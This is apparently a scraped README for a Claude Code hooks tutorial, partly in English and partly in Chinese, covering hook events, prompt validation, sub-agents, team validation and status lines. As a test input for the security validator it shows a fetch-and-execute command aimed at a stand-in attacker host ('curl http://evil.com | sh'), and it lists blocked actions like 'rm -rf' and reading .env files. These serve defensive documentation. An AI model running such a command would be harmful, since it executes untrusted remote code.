`logs\u002Fuser_prompt_submit.json`\n   - Processed normally\n\n2. **With validation enabled** (add `--validate` flag):\n   - \"Delete everything\" → May trigger validation warning\n   - \"curl http:\u002F\u002Fevil.com | sh\" → Blocked for security\n\n3. **Check the logs**:\n   ```bash\n   cat logs\u002Fuser_prompt_submit.json | jq '.'\n   ```\n\n### Configuration\n\nThe hook is configured in `.claude\u002Fsettings.json`:\n\n```json\n\"UserPromptSubmit\": [\n  {\n    \"hooks\": [\n      {\n        \"type\": \"command\",\n        \"command\": \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fuser_prompt_submit.py --log-only\"\n      }\n    ]\n  }\n]\n```\n\n> **Important:** Use `$CLAUDE_PROJECT_DIR` prefix for hook paths in settings.json to ensure reliable path resolution across different working directories.\n\nOptions:\n- `--log-only`: Just log prompts (default)\n- `--validate`: Enable security validation\n- `--context`: Add project context to prompts\n\n### Best Practices for Flow Control\n\n1. **Use UserPromptSubmit for Early Intervention**: Validate and enhance prompts before processing\n2. **Use PreToolUse for Prevention**: Block dangerous operations before they execute\n3. **Use PostToolUse for Validation**: Check results and provide feedback\n4. **Use Stop for Completion**: Ensure tasks are properly finished\n5. **Handle Errors Gracefully**: Always provide clear error messages\n6. **Avoid Infinite Loops**: Check `stop_hook_active` flag in Stop hooks\n7. **Test Thoroughly**: Verify hooks work correctly in safe environments\n\n## Claude Code Sub-Agents\n\n> Watch [this YouTube video](https:\u002F\u002Fyoutu.be\u002F7B2HJr0Y68g) to see how to create and use Claude Code sub-agents effectively.\n>\n> See the [Claude Code Sub-Agents documentation](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fsub-agents) for more details.\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_7f654f600cf7.png\" alt=\"Claude Code Sub-Agents\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nClaude Code supports specialized sub-agents that handle specific tasks with custom system prompts, tools, and separate context windows. Sub-agents are AI assistants that your primary Claude Code agent can delegate tasks to.\n\n### Understanding Sub-Agents: System Prompts, Not User Prompts\n\n**Critical Concept**: The content in agent files (`.claude\u002Fagents\u002F*.md`) are **system prompts** that configure the sub-agent's behavior. They are NOT user prompts. This is the #1 misunderstanding when creating agents.\n\n**Information Flow**:\n```\nYou (User) → Primary Agent → Sub-Agent → Primary Agent → You (User)\n```\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_8ceb8fa80b2f.gif\" alt=\"Sub-Agent Information Flow\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n1. **You** make a request to Claude Code (primary agent)\n2. **Primary Agent** analyzes your request and delegates to appropriate sub-agent\n3. **Sub-Agent** executes task using its system prompt instructions\n4. **Sub-Agent** reports results back to primary agent\n5. **Primary Agent** synthesizes and presents results to you\n\n**Key Points**:\n- Sub-agents NEVER communicate directly with you\n- Sub-agents start fresh with no conversation history\n- Sub-agents respond to the primary agent's prompt, not yours\n- The `description` field tells the primary agent WHEN to use the sub-agent\n\n### Agent Storage & Organization\n\nThis repository demonstrates various agent configurations:\n\n**Project Agents** (`.claude\u002Fagents\u002F`):\n```\n.claude\u002Fagents\u002F\n├── crypto\u002F                    # Cryptocurrency analysis agents\n│   ├── crypto-coin-analyzer-haiku.md\n│   ├── crypto-coin-analyzer-opus.md\n│   ├── crypto-coin-analyzer-sonnet.md\n│   ├── crypto-investment-plays-*.md\n│   ├── crypto-market-agent-*.md\n│   ├── crypto-movers-haiku.md\n│   └── macro-crypto-correlation-scanner-*.md\n├── hello-world-agent.md       # Simple greeting agent\n├── llm-ai-agents-and-eng-research.md  # AI research specialist\n├── meta-agent.md              # Agent that creates agents\n└── work-completion-summary.md # Audio summary generator\n```\n\n**Storage Hierarchy**:\n- **Project agents**: `.claude\u002Fagents\u002F` (higher priority, project-specific)\n- **User agents**: `~\u002F.claude\u002Fagents\u002F` (lower priority, available across all projects)\n- **Format**: Markdown files with YAML frontmatter\n\n**Agent File Structure:**\n```yaml\n---\nname: agent-name\ndescription: When to use this agent (critical for automatic delegation)\ntools: Tool1, Tool2, Tool3  # Optional - inherits all tools if omitted\ncolor: Cyan  # Visual identifier in terminal\nmodel: opus # Optional - haiku | sonnet | opus - defaults to sonnet\n---\n\n# Purpose\nYou are a [role definition]. \n\n## Instructions\n1. Step-by-step instructions\n2. What the agent should do\n3. How to report results\n\n## Report\u002FResponse Format\nSpecify how the agent should communicate results back to the primary agent.\n```\n\nSub-agents enable:\n- **Task specialization** - Code reviewers, debuggers, test runners\n- **Context preservation** - Each agent operates independently  \n- **Tool restrictions** - Grant only necessary permissions\n- **Automatic delegation** - Claude proactively uses the right agent\n\n### Key Engineering Insights\n\n**Two Critical Mistakes to Avoid:**\n\n1. **Misunderstanding the System Prompt** - What you write in agent files is the *system prompt*, not a user prompt. This changes how you structure instructions and what information is available to the agent.\n\n2. **Ignoring Information Flow** - Sub-agents respond to your primary agent, not to you. Your primary agent prompts sub-agents based on your original request, and sub-agents report back to the primary agent, which then reports to you.\n\n**Best Practices:**\n- Use the `description` field to tell your primary agent *when* and *how* to prompt sub-agents\n- Include phrases like \"use PROACTIVELY\" or trigger words (e.g., \"if they say TTS\") in descriptions\n- Remember sub-agents start fresh with no context - be explicit about what they need to know\n- Follow Problem → Solution → Technology approach when building agents\n\n### Complex Workflows & Agent Chaining\n\nClaude Code can intelligently chain multiple sub-agents together for complex tasks:\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_3b253f7f6bf1.gif\" alt=\"Sub-Agent Chaining\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nFor example:\n- \"First analyze the market with crypto-market-agent, then use crypto-investment-plays to find opportunities\"\n- \"Use the debugger agent to fix errors, then have the code-reviewer check the changes\"\n- \"Generate a new agent with meta-agent, then test it on a specific task\"\n\nThis chaining allows you to build sophisticated workflows while maintaining clean separation of concerns.\n\n### The Meta-Agent\n\nThe meta-agent (`.claude\u002Fagents\u002Fmeta-agent.md`) is a specialized sub-agent that generates new sub-agents from descriptions. It's the \"agent that builds agents\" - a critical tool for scaling your agent development velocity.\n\n**Why Meta-Agent Matters:**\n- **Rapid Agent Creation** - Build dozens of specialized agents in minutes instead of hours\n- **Consistent Structure** - Ensures all agents follow best practices and proper formatting\n- **Live Documentation** - Pulls latest Claude Code docs to stay current with features\n- **Intelligent Tool Selection** - Automatically determines minimal tool requirements\n\n**Using the Meta-Agent:**\n```bash\n# Simply describe what you want\n\"Build a new sub-agent that runs tests and fixes failures\"\n\n# Claude Code will automatically delegate to meta-agent\n# which will create a properly formatted agent file\n```\n\nThe meta-agent follows the principle: \"Figure out how to scale it up. Build the thing that builds the thing.\" This compound effect accelerates your engineering capabilities exponentially.\n\n## Team-Based Validation System\n\n> **Watch the walkthrough:** See agent teams and the `\u002Fplan_w_team` workflow in action at [https:\u002F\u002Fyoutu.be\u002F4_2j5wgt_ds](https:\u002F\u002Fyoutu.be\u002F4_2j5wgt_ds)\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_d08cce22dc97.png\" alt=\"Claude Code Task System\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nThis repository includes a powerful build\u002Fvalidate workflow pattern using the Claude Code task system to orchestrate specialized agent teams.\n\n### The `\u002Fplan_w_team` Meta Prompt\n\nThe `\u002Fplan_w_team` command (`.claude\u002Fcommands\u002Fplan_w_team.md`) is not an ordinary prompt—it has three powerful components:\n\n#### 1. Self-Validating\n\nThe prompt includes embedded hooks in its front matter that validate its own output:\n\n```yaml\nhooks:\n  stop:\n    - command: \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fvalidators\u002Fvalidate_new_file.py specs\u002F*.md\"\n    - command: \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fvalidators\u002Fvalidate_file_contains.py\"\n```\n\nAfter the planning agent finishes, these validators ensure:\n- A spec file was created in the correct directory\n- The file contains required sections (team orchestration, step-by-step tasks, etc.)\n\nIf validation fails, the agent receives feedback and continues working until the output meets criteria.\n\n#### 2. Agent Orchestration\n\nThe prompt leverages Claude Code's task system to build and coordinate agent teams:\n\n| Task Tool    | Purpose                                                  |\n| ------------ | -------------------------------------------------------- |\n| `TaskCreate` | Create new tasks with owners, descriptions, dependencies |\n| `TaskUpdate` | Update status, add blockers, communicate completion      |\n| `TaskList`   | View all tasks and their current state                   |\n| `TaskGet`    | Retrieve full task details                               |\n\n**How it works:**\n1. Primary agent creates a task list with specific owners (builder\u002Fvalidator)\n2. Tasks can run in parallel or have dependency blockers\n3. Subagents complete work and ping back to the primary agent\n4. Primary agent reacts in real-time as work completes\n5. Blocked tasks automatically unblock when dependencies finish\n\nThis enables longer-running threads of work because the task system handles coordination—no bash sleep loops needed.\n\n#### 3. Templating\n\n`\u002Fplan_w_team` is a **template meta prompt**—a prompt that generates prompts in a specific, vetted format:\n\n```markdown\n## Plan Format (embedded in the meta prompt)\n\n### {{PLAN_NAME}}\n**Task:** {{TASK_DESCRIPTION}}\n**Objective:** {{OBJECTIVE}}\n\n### Team Orchestration\n{{TEAM_MEMBERS}}\n\n### Step-by-Step Tasks\n{{TASKS}}\n```\n\nThe generated plan follows your engineering patterns exactly. This is the difference between agentic engineering and \"vibe coding\"—you know the outcome your agent will generate because you've templated the format.\n\n### Team Agents\n\n| Agent         | File                | Tools                     | Self-Validation        | Purpose                                         |\n| ------------- | ------------------- | ------------------------- | ---------------------- | ----------------------------------------------- |\n| **Builder**   | `team\u002Fbuilder.md`   | All tools                 | Ruff + Ty on .py files | Execute implementation tasks, build the thing   |\n| **Validator** | `team\u002Fvalidator.md` | Read-only (no Write\u002FEdit) | None                   | Verify builder's work meets acceptance criteria |\n\nThis two-agent pairing increases compute to increase trust that work was delivered correctly.\n\n### Code Quality Validators\n\nPostToolUse validators automatically enforce code quality:\n\n| Validator | File                | Trigger                 | Action                |\n| --------- | ------------------- | ----------------------- | --------------------- |\n| **Ruff**  | `ruff_validator.py` | Write\u002FEdit on .py files | Blocks on lint errors |\n| **Ty**    | `ty_validator.py`   | Write\u002FEdit on .py files | Blocks on type errors |\n\n### Workflow Example\n\n```bash\n# 1. Create a plan with team orchestration\n\u002Fplan_w_team\n\n# User prompt: \"Update the hooks documentation and add missing status lines\"\n# Orchestration prompt: \"Create groups of agents for each hook, one builder and one validator\"\n\n# 2. Plan is generated with:\n#    - Team members (session_end_builder, session_end_validator, etc.)\n#    - Step-by-step tasks with dependencies\n#    - Validation commands\n\n# 3. Execute the plan\n\u002Fbuild\n\n# 4. Watch agents work in parallel:\n#    - Builders implement features\n#    - Validators verify completion\n#    - Task system coordinates everything\n```\n\n### Configuration\n\n- `ruff.toml` - Ruff linter rules\n- `ty.toml` - Type checker settings\n- `.claude\u002Fagents\u002Fteam\u002F` - Team agent definitions\n\n## Output Styles Collection\n\n> **Watch the walkthrough:** See these features in action at [https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go](https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go)\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_ac208d4e6f78.png\" alt=\"GenUI Output Style\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nThis project includes a comprehensive collection of custom output styles (`.claude\u002Foutput-styles\u002F`) that transform how Claude Code communicates responses. See the [official documentation](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Foutput-styles) for complete details on how output styles work.\n\n| Style                | Description                                        | Best For                                                |\n| -------------------- | -------------------------------------------------- | ------------------------------------------------------- |\n| **genui** ⭐          | **Generates beautiful HTML with embedded styling** | **Interactive visual outputs, instant browser preview** |\n| **table-based**      | Organizes all information in markdown tables       | Comparisons, structured data, status reports            |\n| **yaml-structured**  | Formats responses as YAML configuration            | Settings, hierarchical data, API responses              |\n| **bullet-points**    | Clean nested lists with dashes and numbers         | Action items, documentation, task tracking              |\n| **ultra-concise**    | Minimal words, maximum speed                       | Experienced devs, rapid prototyping                     |\n| **html-structured**  | Semantic HTML5 with data attributes                | Web documentation, rich formatting                      |\n| **markdown-focused** | Leverages all markdown features optimally          | Complex documentation, mixed content                    |\n| **tts-summary**      | Announces task completion via ElevenLabs TTS       | Audio feedback, accessibility                           |\n\n**Usage:** Run `\u002Foutput-style [name]` to activate any style (e.g., `\u002Foutput-style table-based`)\n\n**Location:** \n- Project styles: `.claude\u002Foutput-styles\u002F*.md` (this repo)\n- User styles: `~\u002F.claude\u002Foutput-styles\u002F*.md` (global)\n\nOutput styles modify Claude's system prompt to change response formatting without affecting core functionality. Each style is a markdown file with YAML frontmatter defining the name, description, and formatting instructions.\n\n\n## Custom Status Lines\n\n> **Watch the walkthrough:** See these features in action at [https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go](https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go)\n\nThis project includes enhanced Claude Code status lines that display real-time conversation context. Status lines provide dynamic information at the bottom of your terminal during Claude Code sessions. See the [official documentation](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fstatusline) for complete details.\n\n### Available Status Lines\n\n**Location:** `.claude\u002Fstatus_lines\u002F`\n\n| Version | File                | Description       | Features                                                        |\n| ------- | ------------------- | ----------------- | --------------------------------------------------------------- |\n| **v1**  | `status_line.py`    | Basic MVP         | Git branch, directory, model info                               |\n| **v2**  | `status_line_v2.py` | Smart prompts     | Latest prompt (250 chars), color-coded by task type             |\n| **v3**  | `status_line_v3.py` | Agent sessions    | Agent name, model, last 3 prompts                               |\n| **v4**  | `status_line_v4.py` | Extended metadata | Agent name, model, latest prompt, custom key-value pairs        |\n| **v5**  | `status_line_v5.py` | Cost tracking     | Model, cost ($), line changes (+\u002F-), session duration           |\n| **v6**  | `status_line_v6.py` | Context window    | Visual usage bar, percentage, tokens remaining                  |\n| **v7**  | `status_line_v7.py` | Duration timer    | Session time, start time, optional end time                     |\n| **v8**  | `status_line_v8.py` | Token\u002Fcache stats | Input\u002Foutput tokens, cache creation\u002Fread stats                  |\n| **v9**  | `status_line_v9.py` | Powerline minimal | Stylized segments with powerline separators, git branch, % used |\n\n### Session Management\n\nStatus lines leverage session data stored in `.claude\u002Fdata\u002Fsessions\u002F\u003Csession_id>.json`:\n\n```json\n{\n  \"session_id\": \"unique-session-id\",\n  \"prompts\": [\"first prompt\", \"second prompt\", ...],\n  \"agent_name\": \"Phoenix\",  \u002F\u002F Auto-generated unique name\n  \"extras\": {              \u002F\u002F v4: Custom metadata (optional)\n    \"project\": \"myapp\",\n    \"status\": \"debugging\",\n    \"environment\": \"prod\"\n  }\n}\n```\n\n**Agent Naming:**\n- Automatically generates unique agent names using LLM services\n- Priority: Ollama (local) → Anthropic → OpenAI → Fallback names\n- Names are single-word, memorable identifiers (e.g., Phoenix, Sage, Nova)\n- Enabled via `--name-agent` flag in `user_prompt_submit.py`\n\n**Custom Metadata (v4):**\n- Use `\u002Fupdate_status_line` command to add custom key-value pairs\n- Displayed at the end of the status line in cyan brackets\n- Persists across Claude Code interactions\n- Example: `\u002Fupdate_status_line \u003Csession_id> project myapp`\n\n### Configuration\n\nSet your preferred status line in `.claude\u002Fsettings.json`:\n\n```json\n{\n  \"statusLine\": {\n    \"type\": \"command\",\n    \"command\": \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fstatus_lines\u002Fstatus_line_v3.py\"\n  }\n}\n```\n\n**Status Line Features:**\n- **Real-time updates** - Refreshes on message changes (300ms throttle)\n- **Color coding** - Visual indicators for different task types\n- **Smart truncation** - Manages long prompts elegantly\n- **Session persistence** - Maintains context across interactions\n\n**Task Type Indicators (v2\u002Fv3):**\n- 🔍 Purple - Analysis\u002Fsearch tasks\n- 💡 Green - Creation\u002Fimplementation tasks\n- 🔧 Yellow - Fix\u002Fdebug tasks\n- 🗑️ Red - Deletion tasks\n- ❓ Blue - Questions\n- 💬 Default - General conversation\n\n\n\n## Master Agentic Coding\n\n> Prepare for the future of software engineering\n\nLearn tactical agentic coding patterns with [Tactical Agentic Coding](https:\u002F\u002Fagenticengineer.com\u002Ftactical-agentic-coding?y=ssvhooks)\n\nFollow the [IndyDevDan YouTube channel](https:\u002F\u002Fwww.youtube.com\u002F@indydevdan) to improve your agentic coding advantage.","# Claude 代码钩子精通指南\n\n[Claude 代码钩子](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fhooks) - 快速掌握如何使用 Claude 代码钩子，对 Claude 代码的行为进行确定性（或非确定性）控制。此外，还将了解 [Claude 代码子代理](#claude-code-sub-agents)、强大的 [元代理](#the-meta-agent) 以及通过代理编排实现的 [团队验证系统](#team-based-validation-system)。\n\n![Claude 代码钩子](https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_ab6f294773a5.png)\n\n## 目录\n\n- [先决条件](#prerequisites)\n- [钩子生命周期与负载](#hook-lifecycle--payloads)\n- [演示内容](#what-this-shows)\n- [UV 单文件脚本架构](#uv-single-file-scripts-architecture)\n- [关键文件](#key-files)\n- [展示的功能](#features-demonstrated)\n- [钩子错误码与流程控制](#hook-error-codes--flow-control)\n- [UserPromptSubmit 钩子深度解析](#userpromptsubmit-hook-deep-dive)\n- [Claude 代码子代理](#claude-code-sub-agents)\n- [团队验证系统](#team-based-validation-system)\n- [输出样式集合](#output-styles-collection)\n- [自定义状态行](#custom-status-lines)\n\n## 先决条件\n\n本教程需要：\n- **[Astral UV](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fgetting-started\u002Finstallation\u002F)** - 快速的 Python 包管理器和依赖解决工具\n- **[Claude 代码](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code)** - Anthropic 的 Claude AI 命令行工具\n\n### 可选设置：\n\n可选：\n- **[ElevenLabs](https:\u002F\u002Felevenlabs.io\u002F)** - 文本转语音服务提供商（支持 MCP 服务器集成）\n- **[ElevenLabs MCP 服务器](https:\u002F\u002Fgithub.com\u002Felevenlabs\u002Felevenlabs-mcp)** - ElevenLabs 的 MCP 服务器\n- **[Firecrawl MCP 服务器](https:\u002F\u002Fwww.firecrawl.dev\u002Fmcp)** - 用于网页抓取和爬虫的 MCP 服务器（我最喜欢的爬虫工具）\n- **[OpenAI](https:\u002F\u002Fopenai.com\u002F)** - 语言模型服务提供商 + 文本转语音服务提供商\n- **[Anthropic](https:\u002F\u002Fwww.anthropic.com\u002F)** - 语言模型服务提供商\n- **[Ollama](https:\u002F\u002Follama.com\u002F)** - 本地语言模型服务提供商\n\n## 钩子生命周期与负载\n\n此演示捕获了所有 13 个 Claude 代码钩子生命周期事件及其 JSON 负载：\n\n### 钩子生命周期概览\n\n```mermaid\nflowchart TB\n    subgraph SESSION[\"🟢 会话生命周期\"]\n        direction TB\n        SETUP[[\"🔧 设置\u003Cbr\u002F>(初始化\u002F维护)\"]]\n        START[[\"▶️ 会话开始\u003Cbr\u002F>(启动\u002F恢复\u002F清除)\"]]\n        END[[\"⏹️ 会话结束\u003Cbr\u002F>(退出\u002Fsigint\u002F错误)\"]]\n    end\n\n    subgraph MAIN[\"🔄 主对话循环\"]\n        direction TB\n        PROMPT[[\"📝 用户提示提交\"]]\n        CLAUDE[\"Claude 处理\"]\n\n        subgraph TOOLS[\"🛠️ 工具执行\"]\n            direction TB\n            PRE[[\"🔒 工具使用前\"]]\n            PERM[[\"❓ 权限请求\"]]\n            EXEC[\"工具执行\"]\n            POST[[\"✅ 工具使用后\"]]\n            FAIL[[\"❌ 工具使用失败\"]]\n        end\n\n        subgraph SUBAGENT[\"🤖 子代理生命周期\"]\n            direction TB\n            SSTART[[\"🚀 子代理开始\"]]\n            SWORK[\"子代理工作\"]\n            SSTOP[[\"🏁 子代理结束\"]]\n        end\n\n        NOTIFY[[\"🔔 通知\u003Cbr\u002F>(异步)\"]]\n        STOP[[\"🛑 停止\"]]\n    end\n\n    subgraph COMPACT[\"🗜️ 维护\"]\n        PRECOMPACT[[\"📦 压缩前\"]]\n    end\n\n    SETUP --> START\n    START --> PROMPT\n    PROMPT --> CLAUDE\n    CLAUDE --> PRE\n    PRE --> PERM\n    PERM --> EXEC\n    EXEC --> POST\n    EXEC -.-> FAIL\n    CLAUDE -.-> SSTART\n    SSTART --> SWORK\n    SWORK --> SSTOP\n    POST --> CLAUDE\n    CLAUDE --> STOP\n    CLAUDE -.-> NOTIFY\n    STOP --> PROMPT\n    STOP -.-> END\n    PROMPT -.-> PRECOMPACT\n    PRECOMPACT -.-> PROMPT\n```\n\n### 1. UserPromptSubmit 钩子\n**触发时机：** 用户提交提示时立即触发（在 Claude 处理之前）  \n**负载：** `prompt` 文本、`session_id`、时间戳  \n**增强功能：** 提示验证、日志记录、上下文注入、安全过滤\n\n### 2. PreToolUse 钩子\n**触发时机：** 任何工具执行之前  \n**负载：** `tool_name`、`tool_input` 参数  \n**增强功能：** 阻止危险命令（如 `rm -rf`、访问 `.env` 文件）\n\n### 3. PostToolUse 钩子\n**触发时机：** 工具成功完成执行后  \n**负载：** `tool_name`、`tool_input`、包含结果的 `tool_response`\n\n### 4. Notification 钩子\n**触发时机：** 当 Claude 代码发送通知时（等待输入等）  \n**负载：** `message` 内容  \n**增强功能：** TTS 提醒 - “您的代理需要您的输入”（30% 的几率会包含用户姓名）\n\n### 5. Stop 钩子\n**触发时机：** 当 Claude 代码完成响应时  \n**负载：** `stop_hook_active` 布尔标志  \n**增强功能：** 由 AI 生成的完成消息，并通过 TTS 播放（LLM 优先级：OpenAI > Anthropic > Ollama > 随机）\n\n### 6. SubagentStop 钩子\n**触发时机：** 当 Claude 代码子代理（任务工具）完成响应时  \n**负载：** `stop_hook_active` 布尔标志  \n**增强功能：** TTS 播放 - “子代理已完成”\n\n### 7. PreCompact 钩子\n**触发时机：** 在 Claude 代码执行压缩操作之前  \n**负载：** `trigger`（“手动”或“自动”）、`custom_instructions`（针对手动操作）、会话信息  \n**增强功能：** 转录备份、手动压缩时提供详细反馈\n\n### 8. SessionStart 钩子\n**触发时机：** 当 Claude 代码开始新会话或恢复现有会话时  \n**负载：** `source`（“启动”、“恢复”或“清除”）、会话信息  \n**增强功能：** 加载开发环境上下文（git 状态、最近的问题、上下文文件）\n\n### 9. SessionEnd 钩子\n**触发时机：** 当 Claude 代码会话结束时（退出、sigint 或错误）  \n**负载：** `session_id`、`transcript_path`、`cwd`、`permission_mode`、`reason`  \n**增强功能：** 会话日志记录，并可选择执行清理任务（删除临时文件、过期日志）\n\n### 10. PermissionRequest 钩子\n**触发时机：** 当用户看到权限对话框时  \n**负载：** `tool_name`、`tool_input`、`tool_use_id`、会话信息  \n**增强功能：** 权限审计，自动允许只读操作（Read、Glob、Grep、安全的 Bash 命令）\n\n### 11. PostToolUseFailure 钩子\n**触发时机：** 当工具执行失败时  \n**负载：** `tool_name`、`tool_input`、`tool_use_id`、`error` 对象  \n**增强功能：** 结构化错误日志记录，包含时间戳和完整上下文\n\n### 12. SubagentStart 钩子\n**触发时机：** 当子代理（任务工具）启动时  \n**负载：** `agent_id`、`agent_type`、会话信息  \n**增强功能：** 子代理启动日志记录，并可选择 TTS 通知\n\n### 13. Setup 钩子\n**触发时机：** 当 Claude 进入一个仓库（初始化）或定期（维护）时  \n**负载：** `trigger`（“init”或“maintenance”）、会话信息  \n**增强功能：** 通过 `CLAUDE_ENV_FILE` 实现环境持久化，通过 `additionalContext` 注入上下文\n\n## 这说明了什么\n\n- **完整的钩子生命周期覆盖**：所有13个钩子事件均已实现并记录日志（其中11个已通过自动化测试验证）。\n- **提示级别控制**：UserPromptSubmit会在Claude看到提示之前对其进行验证和增强。\n- **智能TTS系统**：AI生成的音频反馈，优先使用ElevenLabs，其次是OpenAI，最后是pyttsx3。\n- **安全增强**：在多个层级上阻止危险命令和敏感文件访问。\n- **个性化体验**：使用环境变量中的工程师姓名。\n- **自动日志记录**：所有钩子事件均以JSON格式记录到`logs\u002F`目录中。\n- **聊天记录提取**：PostToolUse钩子会将JSONL格式的聊天记录转换为可读的JSON格式。\n- **团队式验证**：采用构建者\u002F验证者代理模式，并结合代码质量钩子。\n\n> **警告**：`chat.json`文件仅包含最近一次Claude Code对话。它不会保留之前会话的对话内容——每次新对话都会完全覆盖旧对话。这与其他日志不同，其他日志会在每次Claude Code会话结束后追加内容。\n\n## UV单文件脚本架构\n\n该项目利用**[UV单文件脚本](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fguides\u002Fscripts\u002F)**，将钩子逻辑与主代码库清晰地分离。所有钩子都位于`.claude\u002Fhooks\u002F`目录下，作为独立的Python脚本，内置依赖声明。\n\n**优点**：\n- **隔离性**：钩子逻辑与项目依赖项相互独立。\n- **可移植性**：每个钩子脚本都内嵌声明了自己的依赖项。\n- **无需管理虚拟环境**：UV会自动处理依赖关系。\n- **快速执行**：UV的依赖解析速度极快。\n- **自包含性**：每个钩子都可以独立理解和修改。\n\n这种方法确保您的钩子在不同环境中都能正常运行，而不会污染主项目的依赖树。\n\n## 关键文件\n\n- `.claude\u002Fsettings.json`：包含权限的钩子配置。\n- `.claude\u002Fhooks\u002F`：针对每种钩子类型的Python脚本，使用UV管理依赖。\n  - `user_prompt_submit.py`：提示验证、日志记录及上下文注入。\n  - `pre_tool_use.py`：安全拦截与日志记录。\n  - `post_tool_use.py`：日志记录与聊天记录转换。\n  - `post_tool_use_failure.py`：带有结构化细节的错误日志。\n  - `notification.py`：带可选TTS的通知日志（--notify标志）。\n  - `stop.py`：带有TTS的AI生成完成消息。\n  - `subagent_stop.py`：简单的“子代理已完成”TTS。\n  - `subagent_start.py`：带可选TTS的子代理启动日志。\n  - `pre_compact.py`：聊天记录备份与压缩的日志记录。\n  - `session_start.py`：开发环境加载与会话日志记录。\n  - `session_end.py`：会话清理与日志记录。\n  - `permission_request.py`：权限审计与自动允许。\n  - `setup.py`：仓库初始化与维护。\n  - `validators\u002F`：代码质量验证钩子。\n    - `ruff_validator.py`：通过Ruff进行Python代码检查（PostToolUse）。\n    - `ty_validator.py`：Python类型检查（PostToolUse）。\n  - `utils\u002F`：智能TTS与LLM工具脚本。\n    - `tts\u002F`：文本转语音服务提供商（ElevenLabs、OpenAI、pyttsx3）。\n      - `tts_queue.py`：基于队列的TTS管理，防止音频重叠。\n    - `llm\u002F`：语言模型集成（OpenAI、Anthropic、Ollama）。\n      - `task_summarizer.py`：LLM驱动的任务完成摘要。\n- `.claude\u002Fstatus_lines\u002F`：实时终端状态显示。\n  - `status_line.py`：基础MVP版本，显示git信息。\n  - `status_line_v2.py`：带颜色编码的智能提示。\n  - `status_line_v3.py`：包含历史记录的代理会话。\n  - `status_line_v4.py`：扩展元数据支持。\n  - `status_line_v5.py`：成本跟踪与行数变化。\n  - `status_line_v6.py`：上下文窗口使用情况条形图。\n  - `status_line_v7.py`：会话持续时间计时器。\n  - `status_line_v8.py`：令牌使用情况与缓存统计。\n  - `status_line_v9.py`：极简的Powerline风格。\n- `.claude\u002Foutput-styles\u002F`：响应格式化配置。\n  - `genui.md`：生成带有嵌入式样式的美观HTML。\n  - `table-based.md`：以Markdown表格组织信息。\n  - `yaml-structured.md`：YAML配置格式。\n  - `bullet-points.md`：干净的嵌套列表。\n  - `ultra-concise.md`：用词精炼，速度最快。\n  - `html-structured.md`：语义HTML5。\n  - `markdown-focused.md`：丰富的Markdown功能。\n  - `tts-summary.md`：通过TTS提供音频反馈。\n- `.claude\u002Fcommands\u002F`：自定义斜杠命令。\n  - `prime.md`：项目分析与理解。\n  - `plan_w_team.md`：基于团队的构建\u002F验证工作流。\n  - `crypto_research.md`：加密货币研究工作流。\n  - `cook.md`：高级任务执行。\n  - `update_status_line.md`：动态状态更新。\n- `.claude\u002Fagents\u002F`：子代理配置。\n  - `crypto\u002F`：加密货币分析代理。\n  - `team\u002F`：基于团队的工作流代理。\n    - `builder.md`：实施代理（拥有所有工具）。\n    - `validator.md`：只读验证代理。\n  - `hello-world-agent.md`：简单的问候示例。\n  - `llm-ai-agents-and-eng-research.md`：AI研究专家。\n  - `meta-agent.md`：创建其他代理的代理。\n  - `work-completion-summary.md`：音频摘要生成器。\n- `logs\u002F`：所有钩子执行的JSON日志。\n  - `user_prompt_submit.json`：用户提示提交及验证日志。\n  - `pre_tool_use.json`：工具使用事件及安全拦截日志。\n  - `post_tool_use.json`：工具完成事件日志。\n  - `post_tool_use_failure.json`：工具失败事件及错误详情日志。\n  - `notification.json`：通知事件日志。\n  - `stop.json`：停止事件及完成消息日志。\n  - `subagent_stop.json`：子代理完成事件日志。\n  - `subagent_start.json`：子代理启动事件日志。\n  - `pre_compact.json`：预压缩事件及触发类型日志。\n  - `session_start.json`：会话开始事件及来源类型日志。\n  - `session_end.json`：会话结束事件及原因日志。\n  - `permission_request.json`：权限请求审计日志。\n  - `setup.json`：设置事件及触发类型日志。\n  - `chat.json`：可读的对话记录（由--chat标志生成）。\n- `ai_docs\u002F`：文档资源。\n  - `cc_hooks_docs.md`：Anthropic提供的完整钩子文档。\n  - `claude_code_status_lines_docs.md`：状态行输入模式与配置文档。\n  - `user_prompt_submit_hook.md`：全面的UserPromptSubmit钩子文档。\n  - `uv-single-file-scripts.md`：UV脚本架构文档。\n  - `anthropic_custom_slash_commands.md`：斜杠命令文档。\n  - `anthropic_docs_subagents.md`：子代理文档。\n- 